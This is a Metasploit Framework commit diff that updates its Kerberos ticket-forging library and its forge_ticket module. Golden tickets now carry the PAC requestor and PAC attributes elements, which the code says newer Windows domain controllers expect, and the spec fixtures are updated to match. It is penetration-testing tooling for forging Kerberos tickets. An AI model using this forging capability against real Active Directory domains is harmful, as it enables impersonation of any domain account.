Skip to content

Commit

Permalink
Land #18359, Forge ticket fix
Browse files Browse the repository at this point in the history
  • Loading branch information
dwelch-r7 authored Sep 18, 2023
2 parents ea3b8e9 + 5c93b38 commit c1a44c8
Show file tree
Hide file tree
Showing 9 changed files with 164 additions and 47 deletions.
26 changes: 23 additions & 3 deletions lib/msf/core/exploit/remote/kerberos/client/pac.rb
Original file line number Diff line number Diff line change
Expand Up @@ -38,6 +38,7 @@ def build_pa_pac_request(opts = {})
# @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962
# @option opts [Time] :logon_time
# @option opts[String] :checksum_enc_key Encryption key for calculating the checksum
# @option opts[Boolean] :is_golden Include requestor and pac attributes in the PAC (needed for golden tickets; not for silver)
# @return [Rex::Proto::Kerberos::Pac::Krb5Pac]
# @see Rex::Proto::Kerberos::Pac::Krb5PacLogonInfo
# @see Rex::Proto::Kerberos::Pac::Krb5PacClientInfo
Expand All @@ -55,6 +56,7 @@ def build_pac(opts = {})
logon_time = opts[:logon_time] || Time.now
checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5
ticket_checksum = opts[:ticket_checksum] || nil
is_golden = opts.fetch(:is_golden) { true }

validation_info = Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new(
logon_time: logon_time,
Expand Down Expand Up @@ -86,6 +88,14 @@ def build_pac(opts = {})
name: user_name
)

if is_golden
pac_requestor = Rex::Proto::Kerberos::Pac::Krb5PacRequestor.new(
user_sid: "#{domain_id}-#{user_id}"
)

pac_attributes = Rex::Proto::Kerberos::Pac::Krb5PacAttributes.new
end

server_checksum = Rex::Proto::Kerberos::Pac::Krb5PacServerChecksum.new(
signature_type: checksum_type
)
Expand All @@ -96,10 +106,20 @@ def build_pac(opts = {})

pac_elements = [
logon_info,
client_info,
server_checksum,
priv_srv_checksum
client_info
]

if is_golden
# These PAC elements are required for golden tickets in post-October 2022 systems
pac_elements.append(
pac_requestor,
pac_attributes)
end

pac_elements.append(
server_checksum,
priv_srv_checksum
)
pac_elements << ticket_checksum unless ticket_checksum.nil?

pac_type = Rex::Proto::Kerberos::Pac::Krb5Pac.new
Expand Down
5 changes: 3 additions & 2 deletions lib/msf/core/exploit/remote/kerberos/ticket.rb
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ module Ticket
# @param [Array<String>] extra_sids An array of extra sids, Ex: `['S-1-5-etc-etc-519']`
def forge_ticket(enc_key:, enc_type:, start_time:, end_time:, sname:, flags:,
domain:, username:, user_id: Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID,
domain_sid:, extra_sids: [], session_key: nil, ticket_checksum: false)
domain_sid:, extra_sids: [], session_key: nil, ticket_checksum: false, is_golden: true)
sname_principal = create_principal(sname)
cname_principal = create_principal(username)
group_ids = [
Expand Down Expand Up @@ -57,7 +57,8 @@ def forge_ticket(enc_key:, enc_type:, start_time:, end_time:, sname:, flags:,
domain_id: domain_sid,
extra_sids: extra_sids,
flags: flags,
create_ticket_checksum: ticket_checksum
create_ticket_checksum: ticket_checksum,
is_golden: is_golden
}

ticket_enc_part = create_enc_ticket_part(opts: opts)
Expand Down
21 changes: 21 additions & 0 deletions lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb
Original file line number Diff line number Diff line change
Expand Up @@ -324,6 +324,23 @@ def present_upn_and_dns_information(upn_and_dns_info)
output.join("\n")
end

def present_pac_requestor(pac_requestor)
output = []
output << 'Pac Requestor:'
output << "SID: #{pac_requestor.user_sid}".indent(2)
output.join("\n")
end

def present_pac_attributes(pac_attributes)
output = []
output << 'Pac Attributes:'
output << "Flag length: #{pac_attributes.flags_length}".indent(2)
output << "Flags: #{pac_attributes.flags}".indent(2)
attribute_attributes = Rex::Proto::Kerberos::Pac::PacAttributesFlags.read([pac_attributes.flags].pack('N'))
output << print_bin_data_model(attribute_attributes, bit_length: 32).to_s.indent(4)
output.join("\n")
end

# @param [Rex::Proto::Kerberos::Pac::Krb5PacInfoBuffer] info_buffer
# @return [String] A human readable representation of a Pac Info Buffer
def present_pac_info_buffer(info_buffer)
Expand All @@ -340,6 +357,10 @@ def present_pac_info_buffer(info_buffer)
present_priv_server_checksum(pac_element)
when Rex::Proto::Kerberos::Pac::Krb5PacElementType::USER_PRINCIPAL_NAME_AND_DNS_INFORMATION
present_upn_and_dns_information(pac_element)
when Rex::Proto::Kerberos::Pac::Krb5PacElementType::PAC_REQUESTOR
present_pac_requestor(pac_element)
when Rex::Proto::Kerberos::Pac::Krb5PacElementType::PAC_ATTRIBUTES
present_pac_attributes(pac_element)
when Rex::Proto::Kerberos::Pac::Krb5PacElementType::TICKET_CHECKSUM
present_ticket_checksum(pac_element)
when Rex::Proto::Kerberos::Pac::Krb5PacElementType::FULL_PAC_CHECKSUM
Expand Down
2 changes: 2 additions & 0 deletions lib/rex/proto/kerberos/pac.rb
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,8 @@ module Pac
# XXX: Does not include some of the newer SE_GROUP_* flags
SE_GROUP_ALL = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED

PAC_WAS_GIVEN_IMPLICITLY = 0x00000001

USER_NORMAL_ACCOUNT = 0x00000010
USER_DONT_EXPIRE_PASSWORD = 0x00000200
PAC_LOGON_INFO = 1
Expand Down
46 changes: 46 additions & 0 deletions lib/rex/proto/kerberos/pac/krb5_pac.rb
Original file line number Diff line number Diff line change
Expand Up @@ -286,6 +286,50 @@ class Krb5ClientInfo < BinData::Record
string16 :name, read_length: :name_length
end

# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/c34adc61-80e1-4920-8923-22ef5054c4b2
class Krb5PacRequestor < BinData::Record
endian :little
# @!attribute [r] ul_type
# @return [Integer] Describes the type of data present in the buffer
virtual :ul_type, value: Krb5PacElementType::PAC_REQUESTOR

# @!attribute [rw] user_sid
# @return [RPC_SID] SID of the requesting user
ms_dtyp_sid :user_sid
end

# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/1c7aeadb-8ca4-4050-ae98-0e9834bdd81d
class Krb5PacAttributes < BinData::Record
endian :little
# @!attribute [r] ul_type
# @return [Integer] Describes the type of data present in the buffer
virtual :ul_type, value: Krb5PacElementType::PAC_ATTRIBUTES

# @!attribute [rw] flags_length
# @return [Integer] Length of the flags field, in bits
uint32 :flags_length, initial_value: 2

# @!attribute [rw] flags
# @return [Integer] Attribute flags
uint32 :flags, initial_value: PAC_WAS_GIVEN_IMPLICITLY
end

class PacAttributesFlags < BinData::Record
endian :big

30.times do
bit1 :"_reserved_#{self.fields.length}"
end

# @!attribute [rw] pac_was_requested
# @return [BinData::Bit1] The client requested the PAC
bit1 :pac_was_requested

# @!attribute [rw] pac_was_given_implicitly
# @return [BinData::Bit1] The client did not request or decline a PAC and was given one implicitly
bit1 :pac_was_given_implicitly
end

class Krb5SignatureType < BinData::Uint32le
# @param [Integer] val The checksum value
# @see Rex::Proto::Kerberos::Crypto::Checksum
Expand Down Expand Up @@ -777,6 +821,8 @@ class Krb5PacElement < BinData::Choice
krb5_full_pac_checksum Krb5PacElementType::FULL_PAC_CHECKSUM
krb5_pac_credential_info Krb5PacElementType::CREDENTIAL_INFORMATION, data_length: :data_length
krb5_upn_dns_info Krb5PacElementType::USER_PRINCIPAL_NAME_AND_DNS_INFORMATION
krb5_pac_requestor Krb5PacElementType::PAC_REQUESTOR
krb5_pac_attributes Krb5PacElementType::PAC_ATTRIBUTES
unknown_pac_element :default, data_length: :data_length, selection: :selection
end

Expand Down
9 changes: 5 additions & 4 deletions modules/auxiliary/admin/kerberos/forge_ticket.rb
Original file line number Diff line number Diff line change
Expand Up @@ -78,7 +78,7 @@ def run

private

def forge_ccache(sname:, flags:)
def forge_ccache(sname:, flags:, is_golden:)
enc_key, enc_type = get_enc_key_and_type

start_time = Time.now.utc
Expand All @@ -97,7 +97,8 @@ def forge_ccache(sname:, flags:)
domain_sid: datastore['DOMAIN_SID'],
extra_sids: extra_sids,
session_key: datastore['SessionKey'].blank? ? nil : datastore['SessionKey'].strip,
ticket_checksum: datastore['IncludeTicketChecksum']
ticket_checksum: datastore['IncludeTicketChecksum'],
is_golden: is_golden
)

Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ccache, framework_module: self)
Expand All @@ -113,15 +114,15 @@ def forge_silver
validate_key!
sname = datastore['SPN'].split('/', 2)
flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(silver_ticket_flags)
forge_ccache(sname: sname, flags: flags)
forge_ccache(sname: sname, flags: flags, is_golden: false)
end

def forge_golden
validate_sid!
validate_key!
sname = ['krbtgt', datastore['DOMAIN'].upcase]
flags = Rex::Proto::Kerberos::Model::TicketFlags.from_flags(golden_ticket_flags)
forge_ccache(sname: sname, flags: flags)
forge_ccache(sname: sname, flags: flags, is_golden: true)
end

def get_enc_key_and_type
Expand Down
4 changes: 2 additions & 2 deletions spec/lib/msf/core/exploit/remote/kerberos/client/pac_spec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -31,7 +31,7 @@

it "creates a PAC-TYPE with default checksum type" do
pac = subject.build_pac
expect(pac.pac_info_buffers[3].buffer.pac_element.signature_type).to eq(Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5)
expect(pac.pac_info_buffers[5].buffer.pac_element.signature_type).to eq(Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5)
end

it "creates a PAC-TYPE with default data in buffers" do
Expand All @@ -47,7 +47,7 @@

it "creates a PAC-TYPE with provided checksum type" do
pac = subject.build_pac(pac_opts)
expect(pac.pac_info_buffers[3].buffer.pac_element.signature_type).to eq(Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5)
expect(pac.pac_info_buffers[5].buffer.pac_element.signature_type).to eq(Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5)
end

it "creates a PAC-TYPE with provided data in buffers" do
Expand Down
85 changes: 52 additions & 33 deletions spec/lib/msf/core/exploit/remote/kerberos/ticket_spec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -172,11 +172,13 @@
let(:create_ticket_checksum) { false }
let(:session_key) { nil }
let(:pac_type) do
"\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \
"\x48\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \
"\x00\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00" \
"\x20\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x14\x00\x00\x00" \
"\x38\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \
"\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \
"\x68\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \
"\x20\x02\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x1c\x00\x00\x00" \
"\x40\x02\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x08\x00\x00\x00" \
"\x60\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00" \
"\x68\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x14\x00\x00\x00" \
"\x80\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \
"\xa8\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xea\xc1\x1c" \
"\x47\x98\xd8\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff" \
"\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
Expand Down Expand Up @@ -206,9 +208,12 @@
"\x15\x00\x00\x00\x02\x87\x5a\x55\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16" \
"\x00\xea\xc1\x1c\x47\x98\xd8\x01\x14\x00\x66\x00\x61\x00\x6b\x00" \
"\x65\x00\x5f\x00\x6d\x00\x79\x00\x73\x00\x71\x00\x6c\x00\x00\x00" \
"\x76\xff\xff\xff\xe3\x66\x46\xb2\x9b\xf0\x22\xa5\xd5\x82\x19\x0b" \
"\x9c\x59\x9c\xd2\x00\x00\x00\x00\x76\xff\xff\xff\x7b\xe9\xe6\x68" \
"\xc4\x78\x95\x24\xf1\x76\xa0\xf6\x94\x5f\xec\x6d\x00\x00\x00\x00"
"\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x02\x87\x5a\x55" \
"\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16\xf4\x01\x00\x00\x00\x00\x00\x00" \
"\x02\x00\x00\x00\x01\x00\x00\x00\x76\xff\xff\xff\x7d\xc5\xca\xfe" \
"\x2e\xa0\x7d\xa2\x58\xce\x80\xfb\xf8\x59\x49\xd4\x00\x00\x00\x00" \
"\x76\xff\xff\xff\x93\xf8\x1c\xd8\x40\x44\xe5\x9c\xb6\xa4\x32\x89" \
"\x57\x06\xed\x28\x00\x00\x00\x00"
end
it_behaves_like 'ticket'
end
Expand All @@ -221,11 +226,13 @@
let(:create_ticket_checksum) { false }
let(:session_key) { nil }
let(:pac_type) do
"\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \
"\x48\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \
"\x00\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x10\x00\x00\x00" \
"\x20\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x10\x00\x00\x00" \
"\x30\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \
"\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \
"\x68\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \
"\x20\x02\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x1c\x00\x00\x00" \
"\x40\x02\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x08\x00\x00\x00" \
"\x60\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x10\x00\x00\x00" \
"\x68\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x10\x00\x00\x00" \
"\x78\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \
"\xa8\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xea\xc1\x1c" \
"\x47\x98\xd8\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff" \
"\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
Expand Down Expand Up @@ -255,8 +262,11 @@
"\x15\x00\x00\x00\x02\x87\x5a\x55\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16" \
"\x00\xea\xc1\x1c\x47\x98\xd8\x01\x14\x00\x66\x00\x61\x00\x6b\x00" \
"\x65\x00\x5f\x00\x6d\x00\x79\x00\x73\x00\x71\x00\x6c\x00\x00\x00" \
"\x0f\x00\x00\x00\x0f\x49\x9f\xd3\xeb\x9d\xfc\x5b\x86\x25\x72\xe3" \
"\x0f\x00\x00\x00\x26\x37\x7a\x68\xa4\x72\xac\x01\x62\x9f\xa9\xbf"
"\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x02\x87\x5a\x55" \
"\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16\xf4\x01\x00\x00\x00\x00\x00\x00" \
"\x02\x00\x00\x00\x01\x00\x00\x00\x0f\x00\x00\x00\xab\xf1\x31\xb6" \
"\x87\x35\xf2\xce\x2e\xc7\x84\xc8\x0f\x00\x00\x00\x0e\x69\xae\x48" \
"\x7c\x3b\x8b\xbe\xbe\x08\x88\x3d"
end
it_behaves_like 'ticket'
end
Expand All @@ -269,11 +279,13 @@
let(:create_ticket_checksum) { false }
let(:session_key) { nil }
let(:pac_type) do
"\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \
"\x48\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \
"\x00\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x10\x00\x00\x00" \
"\x20\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x10\x00\x00\x00" \
"\x30\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \
"\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \
"\x68\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \
"\x20\x02\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x1c\x00\x00\x00" \
"\x40\x02\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x08\x00\x00\x00" \
"\x60\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x10\x00\x00\x00" \
"\x68\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x10\x00\x00\x00" \
"\x78\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \
"\xa8\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xea\xc1\x1c" \
"\x47\x98\xd8\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff" \
"\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
Expand Down Expand Up @@ -303,8 +315,11 @@
"\x15\x00\x00\x00\x02\x87\x5a\x55\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16" \
"\x00\xea\xc1\x1c\x47\x98\xd8\x01\x14\x00\x66\x00\x61\x00\x6b\x00" \
"\x65\x00\x5f\x00\x6d\x00\x79\x00\x73\x00\x71\x00\x6c\x00\x00\x00" \
"\x10\x00\x00\x00\x92\x88\x0a\x6e\x0b\xa1\x64\xb9\xfe\x1b\xde\x8d" \
"\x10\x00\x00\x00\x01\x21\x93\xa3\x32\x80\xe3\x90\x9c\x78\x70\x9f"
"\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x02\x87\x5a\x55" \
"\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16\xf4\x01\x00\x00\x00\x00\x00\x00" \
"\x02\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x99\x45\x39\x47" \
"\x17\x85\xf7\x6f\x20\x8b\x78\x52\x10\x00\x00\x00\x8c\xce\x2d\x98" \
"\xda\x1f\x71\x51\x42\x16\x0d\x97"
end
it_behaves_like 'ticket'
end
Expand All @@ -319,12 +334,14 @@
let(:ticket_checksum_sig) { "\xb0\x90\x67\x70\xea\xf4\x9b\x43\x39\x30\x96\x70\x14\x40\xb2\x24" }

let(:pac_type) do
"\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \
"\x58\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \
"\x10\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00" \
"\x30\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x14\x00\x00\x00" \
"\x48\x02\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x14\x00\x00\x00" \
"\x60\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \
"\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xb8\x01\x00\x00" \
"\x78\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \
"\x30\x02\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x1c\x00\x00\x00" \
"\x50\x02\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x08\x00\x00\x00" \
"\x70\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00" \
"\x78\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x14\x00\x00\x00" \
"\x90\x02\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x14\x00\x00\x00" \
"\xa8\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \
"\xa8\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xea\xc1\x1c" \
"\x47\x98\xd8\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff" \
"\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
Expand Down Expand Up @@ -354,11 +371,13 @@
"\x15\x00\x00\x00\x02\x87\x5a\x55\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16" \
"\x00\xea\xc1\x1c\x47\x98\xd8\x01\x14\x00\x66\x00\x61\x00\x6b\x00" \
"\x65\x00\x5f\x00\x6d\x00\x79\x00\x73\x00\x71\x00\x6c\x00\x00\x00" \
"\x76\xff\xff\xff\x17\x0a\x13\xd5\xd0\x9d\x70\x7c\xf5\x6c\xb5\xae" \
"\xe4\x31\xae\x65\x00\x00\x00\x00\x76\xff\xff\xff\xb1\x93\x5e\xb2" \
"\xf0\x91\x4f\x10\xb6\x8d\xc7\xe4\x9d\xa4\x32\x13\x00\x00\x00\x00" \
"\x76\xff\xff\xff\xb0\x90\x67\x70\xea\xf4\x9b\x43\x39\x30\x96\x70" \
"\x14\x40\xb2\x24\x00\x00\x00\x00"
"\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x02\x87\x5a\x55" \
"\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16\xf4\x01\x00\x00\x00\x00\x00\x00" \
"\x02\x00\x00\x00\x01\x00\x00\x00\x76\xff\xff\xff\x3a\xa0\x8f\xb0" \
"\x6d\x3e\x90\xc0\xd1\xd3\x2d\xdf\xd3\x42\xa9\x16\x00\x00\x00\x00" \
"\x76\xff\xff\xff\x80\x77\x5b\x5d\x07\x80\x22\xab\x65\x01\x67\xd1" \
"\x66\xed\x9d\x80\x00\x00\x00\x00\x76\xff\xff\xff\xb0\x90\x67\x70" \
"\xea\xf4\x9b\x43\x39\x30\x96\x70\x14\x40\xb2\x24\x00\x00\x00\x00"
end

it_behaves_like 'ticket'
Expand Down
Loading

0 comments on commit c1a44c8

Please sign in to comment.